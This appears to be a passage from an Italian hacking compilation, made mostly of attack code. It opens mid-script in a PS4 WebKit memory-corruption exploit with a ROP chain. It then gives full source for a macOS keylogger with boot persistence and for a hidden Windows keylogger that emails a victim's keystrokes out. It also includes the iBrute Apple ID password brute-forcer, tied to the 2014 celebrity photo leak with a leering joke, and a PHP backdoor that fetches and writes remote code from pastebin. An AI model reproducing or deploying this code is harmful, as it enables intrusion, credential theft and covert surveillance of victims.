u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
//logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
//logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
//logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
//logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
xx = (getU64from(xx+0x20)-0x30bf0);
logAdd("WebKit2 base address = 0x" + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);
xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000
setBase(xx);
//get libkernel base
//xx = getU64from(xx+0xdd8);
//get webprocess base
//xx = getU64from(xx+0xc18);
//get libcinternal base
//xx = getU64from(xx+0xf98);
//get libsysmodule base
//xx = getU64from(xx+0x1158);
//get libSysCore base
//xx = getU64from(xx+0x2658);
//get libSystemService base
//xx = getU64from(xx+0x2b98);
var i_size = 0x1188+(11*0x1c0);
var c_base = getU64from(xx+i_size+0x158);
var d_base = getU64from(xx+i_size+0x168);
var r_base;
var chunk;
var cnt;
var tmp;
var m_cnt = 11;
var c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF;
var d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF;
var m_info;
var gap;
while(((c_base != 0) || (d_base != 0)))
{
if(c_base > d_base)
{
r_base = d_base;
}else{
r_base = c_base;
}
tmp = ((c_size + d_size) / 4) >> 0;
if(tmp > 0x1000){
cnt = ((tmp / 0x1000) >> 0);
chunk = (tmp / cnt) >> 0;
}else{
cnt = 1;
chunk = tmp;
}
if(d_base != 0)
gap = d_base - (c_base + c_size);
else
gap = 0;
m_info = "0x" + c_base.toString(16) + "+0x" + c_size.toString(16) + ", 0x" + d_base.toString(16) + "+0x" +
d_size.toString(16) + " gap: 0x" + gap.toString(16);
logAdd("<h2><a href='ps4.php?base=0x" + r_base.toString(16) + "&chunk=0x" + chunk.toString(16) +
"&cnt=0x" + cnt.toString(16) + "'>module " + m_cnt.toString(10) + "</a></h2><h3>" + m_info + "</h3>");
i_size += 0x1c0;
c_base = getU64from(xx+i_size+0x158);
d_base = getU64from(xx+i_size+0x168);
c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF;
d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF;
m_cnt++;
}
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========&nbsp;End &nbsp;========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div><br>
</body>
</html>
ps4_rop2.html:
<html>
<body>
<h2>PS4 POC</h2><h3>by nas and Proxima</h3></br>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8;
// 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
//logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
//logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
//logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
//logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// target addr for the rop chain
var chain_addr = u32base0 + 0x80000;
var chain_data = u32base0 + 0x88000;
// xx will be the base address of WebKit2
xx = (getU64from(xx+0x20)-0x30bf0);
var wk_base = xx;
logAdd("WebKit2 base address = 0x" + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);
xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000
//logAdd("Dump Address is 0x" + xx.toString(16));
setBase(xx);
//get libSceLibcinternal base
//var libc_int_base = getU64from(xx+0xf98); //1.71
var libc_int_base = getU64from(xx+0x1628); //1.71
//get libkernel base
//xx = getU64from(xx+0xdd8); //1.71
xx = getU64from(xx+0x1468); //1.76
var libkernel_base = xx;
setBase(xx);
//get stack base
//xx = getU64from(xx+0x3D890); //1.76 webkit2 stack?
xx = getU64from(xx+0x5B278); //1.76 webprocess stack
//yy = getU64from(xx+0x5AA70); //1.71
var stack_base = xx - 0x4000;
//yy = getU64from(xx+0x5AA70);
logAdd("libkernel Base is 0x" + libkernel_base.toString(16));
logAdd("libSceLibcinternal Base is 0x" + libc_int_base.toString(16));
logAdd("Stack Base is 0x" + stack_base.toString(16));
logAdd("Chain Address is 0x" + chain_addr.toString(16));
//var return_va = 0x2b38; //1.71
var return_va = 0x2b38; //1.76
//var old_va = getU64from(return_va);
//var old_va8 = getU64from(return_va+8);
// ***************** ROP START *********************
// store data
// none
// store ROP chain
setU64to(chain_addr + 0, wk_base + 735703);
// point a return address of the stack to our chain
setU64to(stack_base + return_va + 8, chain_addr);
setU64to(stack_base + return_va, wk_base + 392117);
// ***************** ROP END ***********************
// cleanup
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========&nbsp;End &nbsp;========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div><br>
</body>
</html>
Conclusioni
Il codice che avete appena letto e scaricabile gratuitamente Qui:
WebKitExploitPs4
[Crediti: wololo.net]
KeyLogger che passione
Il keylogger è uno strumento di Sniffing, che puo essere sia hardware che
software e d e in grado di intercettare tutto ciò che un utente digita sulla
tastiera del computer.
Keylogger hardware
I keylogger hardware sono molto efficaci in quanto la loro installazione è
molto semplice e il sistema non è in grado di accorgersi della loro
presenza. Quando installati fra la tastiera e il PC hanno le sembianze di
un adattatore o appaiono dei cavi di prolunga. Quando sono nascosti
nella tastiera risultano del tutto invisibili. Il vantaggio dei keylogger
hardware risiede nel fatto che sono completamente indipendenti dal
sistema operativo e sono in grado di intercettare anche le password di
bootstrap, la cui digitazione avviene in fase di avvio, prima del
caricamento del sistema operativo. Questi keylogger memorizzano i tasti
premuti o li inviano a dispositivi wireless. Per leggere il contenuto dei dati
memorizzati localmente di solito si utilizza una combinazione di tasti o si
lancia uno specifico software.
Keylogger software
Schermata di un resoconto creato da un keylogger software.
I keylogger software sono invece semplici programmi o driver di
periferica che rimangono in esecuzione captando ogni tasto che viene
digitato e poi, in alcuni casi, trasmettono tali informazioni a un computer
remoto.
Spesso i keylogger software sono trasportati e installati nel computer da
worm o trojan ricevuti tramite Internet e hanno in genere lo scopo di
intercettare password e numeri di carte di credito e inviarle tramite posta
elettronica al creatore degli stessi.
Un programma di keylogging può sovrapporsi fra il browser ed il World
Wide Web. In questo caso intercetta le password, comunque vengano
inserite nel proprio PC. La password viene catturata indipendentemente
dalla periferica di input (tastiera, mouse, microfono): sia che l'utente la
digiti da tastiera, sia che l'abbia salvata in un file di testo prima di
collegarsi a Internet, e poi si limiti a inserirla con un copia/incolla, in
modo da evitarne la digitazione, sia che la password venga inserita
tramite un programma di dettatura vocale.
Anche in caso di connessione sicura (cifrata), se sul computer è presente
un keylogger che invia le password in remoto, tali password potranno
essere utilizzate dalla persona che le riceve.
Bene mah incominciamo a mostrare qualche codice di alcuni keylogger
Incominciamo a keyloggare i computer apple OS x
allora creiamo prima un file keylogger.c
Source:
#include <stdio.h>
#include <time.h>
#include <ApplicationServices/ApplicationServices.h> /* ApplicationServices.framework needed */
FILE *logFile = NULL;
int counter = 0;
char* keyCodeToReadableString (CGKeyCode);
CGEventRef myCGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
int main (int argc, const char * argv[]) {
CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags);
if (!eventTap) {
fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel.");
exit(1);
}
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
logFile = fopen("/var/log/keystroke.log", "a");
CFRunLoopRun();
return 0;
}
CGEventRef myCGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
return event;
}
counter++;
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
if (logFile) {
time_t currentTime;
time(&currentTime);
struct tm *time_info = localtime(&currentTime);
char fmtTime[32];
strftime(fmtTime, 32, "%F %T", time_info);
fprintf(logFile, "%s %s\n", fmtTime, keyCodeToReadableString(keyCode));
if (counter % 100 == 0) fflush(logFile);
}
return event;
}
char* keyCodeToReadableString (CGKeyCode keyCode) {
switch ((int) keyCode) {
case 0: return "a";
case 1: return "s";
case 2: return "d";
case 3: return "f";
case 4: return "h";
case 5: return "g";
case 6: return "z";
case 7: return "x";
case 8: return "c";
case 9: return "v";
case 11: return "b";
case 12: return "q";
case 13: return "w";
case 14: return "e";
case 15: return "r";
case 16: return "y";
case 17: return "t";
case 18: return "1";
case 19: return "2";
case 20: return "3";
case 21: return "4";
case 22: return "6";
case 23: return "5";
case 24: return "=";
case 25: return "9";
case 26: return "7";
case 27: return "-";
case 28: return "8";
case 29: return "0";
case 30: return "]";
case 31: return "o";
case 32: return "u";
case 33: return "[";
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
case
34: return "i";
35: return "p";
37: return "l";
38: return "j";
39: return "\"";
40: return "k";
41: return ";";
42: return "\\";
43: return ",";
44: return "/";
45: return "n";
46: return "m";
47: return ".";
50: return "`";
65: return "<keypad-decimal>";
67: return "<keypad-multiply>";
69: return "<keypad-plus>";
71: return "<keypad-clear>";
75: return "<keypad-divide>";
76: return "<keypad-enter>";
78: return "<keypad-minus>";
81: return "<keypad-equals>";
82: return "<keypad-0>";
case 83: return "<keypad-1>";
case 84: return "<keypad-2>";
case 85: return "<keypad-3>";
case 86: return "<keypad-4>";
case 87: return "<keypad-5>";
case 88: return "<keypad-6>";
case 89: return "<keypad-7>";
case 91: return "<keypad-8>";
case 92: return "<keypad-9>";
case 36: return "<return>";
case 48: return "<tab>";
case 49: return "<space>";
case 51: return "<delete>";
case 53: return "<escape>";
case 55: return "<command>";
case 56: return "<shift>";
case 57: return "<capslock>";
case 58: return "<option>";
case 59: return "<control>";
case 60: return "<right-shift>";
case 61: return "<right-option>";
case 62: return "<right-control>";
case 63: return "<function>";
case 64: return "<f17>";
case 72: return "<volume-up>";
case 73: return "<volume-down>";
case 74: return "<mute>";
case 79: return "<f18>";
case 80: return "<f19>";
case 90: return "<f20>";
case 96: return "<f5>";
case 97: return "<f6>";
case 98: return "<f7>";
case 99: return "<f3>";
case 100: return "<f8>";
case 101: return "<f9>";
case 103: return "<f11>";
case 105: return "<f13>";
case 106: return "<f16>";
case 107: return "<f14>";
case 109: return "<f10>";
case 111: return "<f12>";
case 113: return "<f15>";
case 114: return "<help>";
case 115: return "<home>";
case 116: return "<pageup>";
case 117: return "<forward-delete>";
case 118: return "<f4>";
case 119: return "<end>";
case 120: return "<f2>";
case 121: return "<page-down>";
case 122: return "<f1>";
case 123: return "<left>";
case 124: return "<right>";
case 125: return "<down>";
case 126: return "<up>";
}
return "<unknown>";
}
Ok ora dobbiamo fare un altro file keylogger.plist
Source:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>tw.owo.keylogger</string>
<key>Program</key>
<string>/usr/local/sbin/keylogger</string>
<key>ProgramArguments</key>
<array>
<string>keylogger</string>
</array>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
Bene ma come fare di questo codice il nostro keylogger?
Incominciamo a pachettizare il codice con
cc keylogger.c -o keylogger -framework ApplicationServices
Bene ora mettiamolo in /usr/local/sbin/
Poi poi mettiamo lo script li launch in /System/Library/LaunchDaemons
cosi questo keylogger parteall'avvio del sistema.
Ricordate che per impostazioni predefinite, i tasti potrebbero essere
registrati nel /var/log/keystroke.log.
Bene questo e un primo esempio di keylogger per OS x, volendo cene sono
gia altri compilati come:
Spector Pro (il prodotto costa 75$ mah LINK)
sniperspy
aobo
amackeylogger
Ok ora vediamo invece un keylogger per windows
Allora creiamone uno semplice con visual basic
cominciamo con visual basic
apriamo un nuovo progetto con visual basic e assegnamogli un nome
nel mio caso keylogger
Inseriamo i seguenti elementi
1 Timer
1 TextBox
4 Label
Ai label date questi titoli...
label1.text=Email mandate
label2.text=0
label3.text=lettere
label4.text=0
Ora passiamo ai codici.
Cliccate sul for, cancellate tutto e incollate questo.
Codice:
Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public rip As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Visible = False
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Visible = False
For i As Integer = 3 To 255
Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
Dim sw As StreamWriter
Dim ch As String
If GetAsyncKeyState(i) Then
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
sw.Write(ch)
sw.Flush()
sw.Close()
TextBox1.Text = TextBox1.Text + ch
If TextBox1.TextLength = 500 Then
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
smtpServer.Port = 587
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("TUA EMAIL")
mail.To.Add("TUA EMAIL")
mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
mail.Body = TextBox1.Text
smtpServer.Send(mail)
rip = +1
Label4.Text = rip
textbox1.text = ""
End If
End If
Next
Label1.Text = TextBox1.TextLength
End Sub
End Class
Prima di chiudere questo articolo sui keylogger ce un ultimo OS su cui vi
voglio mostrare che ci possono essere keylogger
il sistema in questione e android
Quello che vado a mostrare ora non e esattamente solo un keylogger mah
i realta sarebbe uno spyphone che fa anche da keylogger ma andiamo a
vederlo
andiamo a vedere opzione per opzione
http://it.amobile-spy.com/android-keylogger.html
[esempio vb preso dal forum sciax2]
I VIP TREMAVANO CON ICLOUD
Nel estate del 2014 sono sucesse molte cose, mah la cosa che ha fatto
tremare di piu i vip e stato icloud, vi chiederete come puo la nuvola di
apple far tremare i vip?
Molto semplicemente gli hacker hanno bucato icloud, di specifico l'icloud
dei vip.
Si perche i vip sopra le loro nuvole caricavano selfie hot, e quanti di noi
non vorrebbe avere un poster della propria atrice preferita naked ;)
mah ora facciamo una disamina di come e stato possibile bucare icloud
Il cappello nero ha usato una vesione crackata di EPPB (Elcomsoft Phone
Password Breaker) in aggiunta ad uno script python (ibrute)
Script ibrute
-----------------------------------------------------------------------------------------------# -*- coding: utf-8 -*#
#hackapp.com
#@hackappcom p0c for FindMyIphone bug
#allows to bruteforce passwords without AppleID lock.
#Before you start, make sure it's not illegal in your country.
#Have a nice brute
import json
import urllib2
import plistlib
from xml.dom.minidom import *
from lxml import etree
import unicodedata
import re
import xml.etree.ElementTree
import time
import random
import json
import cookielib
import urllib
import time
import socket
import base64
from time import strftime
import socks
import socket
#Uncomment to user t0r, or any other socks5 proxy
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
def TryPass(apple_id,password):
url = 'https://fmipmobile.icloud.com/fmipservice/device/'+apple_id+'/initClient'
headers = {
'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',
}
json = {
"clientContext": {
"appName": "FindMyiPhone",
"osVersion": "7.0.4",
"clientTimestamp": 429746389281,
"appVersion": "3.0",
#make it random!
"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",
"inactiveTime": 1,
"buildVersion": "376",
"productType": "iPhone6,1"
},
"serverContext": {}
}
req_plist=plistlib.writePlistToString(json)
req = urllib2.Request(url, req_plist, headers=headers)
base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '')
req.add_header("Authorization", "Basic %s" % base64string)
try:
resp = urllib2.urlopen(req)
except urllib2.HTTPError, err:
if err.code == 401:
return False
if err.code == 330:
return True
return 'bad'
with open('passlist.txt', 'r') as file:
passwords = file.read()
with open('mails.txt', 'r') as file:
apple_ids = file.read()
for apple_id in apple_ids.split('\n'):
if apple_id:
print 'Working with:',apple_id
for pwd in passwords.split('\n'):
if pwd:
#print pwd
password = pwd.split(' ')[1]
print 'Trying: ', apple_id,password
try:
result = TryPass(apple_id,password)
if result == True:
print 'Got It!: ', apple_id,password
if result == 'bad':
print 'We are blocked!: ',apple_id,password
except:
print 'Protocol failed ',pwd
La vera forza di ibrute, oltre che usare le librerie che aiutano ad
spacciarsi durante l'attacco per un device apple, e quello del doppio
ciclo d'operazzioni
[by afr0]
IDICT IL NUOVO ICLOUD
Ebbene si se pensavate che i vostri account apple id fossero ritornati al
sicuro vi sbagliavate
Ebbene si e stato rilasciato poco dopo il periodo natalizzio idict
andiamo ora ad analizare i dict
La struttura:
Files
|_____ Wordlist.txt
index.php
main.php
La parte pricipale che rende possibile la magia di idict e uno script php
presente nel file index.php
lo script e il seguente:
<?php
//Fetch Configuration File
function getConfig()
{
echo "<b><br><center>-~==*Fetching Configuration File from Apple's Server*==~-</center><br></b>";
sleep(5);
$ch = curl_init(); // initialize curl handle
curl_setopt($ch, CURLOPT_URL,'https://setup.icloud.com/configurations/init?context=settings'); // URL
curl_setopt($ch,CURLOPT_ENCODING, ''); // decode gzip
curl_setopt($ch, CURLOPT_VERBOSE, true); // debugging
curl_setopt($ch, CURLINFO_HEADER_OUT, true); // debugging
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // dont check server certs
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // dont check server certs
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return response
curl_setopt($ch, CURLOPT_USERAGENT, 'Settings/1.0 CFNetwork/672.0.8 Darwin/14.0.0'); // UserAgent
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Proxy-Connection: keep-alive',
// Set Request Headers
'Accept: */*',
'Accept-Encoding: gzip, deflate',
'Accept-Language: en-us',
'X-MMe-Country: US',
'Connection: keep-alive',
'X-MMe-Client-Info: <iPhone4,1> <iPhone OS;7.0.4;11B554a> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>',
));
$response = curl_exec($ch);
// execute!
//echo $response;
//Debugging Info
//echo "<br><center>Headers Debugging Info:</center></br>";
//echo curl_getinfo($ch, CURLINFO_HEADER_OUT);
if ( $error = curl_error($ch) )
echo 'ERROR: ',$error;
curl_close($ch);
file_put_contents('./files/config.plist', $response);
echo "<center>Saved to Disk..</center>";
// save to file
return $response;
}
getConfig();
?>
// close curl
// close the function
Esso fa in modo che si possa eseguire l'attacco di brute force del id ai
server della mela
Quindi se pensavate di essere al sicuro vi sbagliavate!!!
[by afr0]
Gli hacker di pastebin
Tutti noi ormai sappiamo cose una backdoor e come si costruisce (vadasi
a vedere il blog darksan)
ma se vi dessi questo script:
if(array_keys($_GET)[0] == 'up'){
$content = file_get_contents("http://pastebin . com/raw.php?i=JK5r7NyS");
if($content){unlink('evex.php');
$fh2 = fopen("evex.php", 'a');
fwrite($fh2,$content);
fclose($fh2);
}}else{print "test";}
Come sappiamo il codice viene downlodato da un server remoto,
possibilmente un server che l'hacker abbia infettato precedentemente, ma
in questo caso il cosidetto server remoto e niente popo di meno che
pastebin la famosa piattaforma di condivisione di codice.
Tecnicamente il codice e in formato raw (no html …) ma come sempre
sostengo un tecnicismo puo essere sempre ridotto in mutande nel mondo
del pc
Ecco un esempio di una backdoor elaborata uploadata via RevSlider
hole
Dallo screenshot. Si puo osservare che il codice injected contiene una
stringa a base 64 ma con la variabile $temp=base64_decode messa al di
sopra di wp-links-apml.php se ne puo vedere il contenuto che e il
seguente:
Ora potete osservare il codice, e vedere che il download viene effettuato
proprio dalla piattaforma pastebin.com
Ma come e possibile tutto questo?
Tutto cio e possibile grazzie ad un hacker indonesiano ed alla variabile
FathurFreakz la seguente
function FathurFreakz($ct3){
xcurl('http://pastebin.com/download.php?i='.code($ct3));
}
FathurFreakz(CODE);
questa piccola stringa permette il downloads e l'esecuzzione del codice
postato su pastebin.com (xcurl function)
esempio di attacco:
decriptato
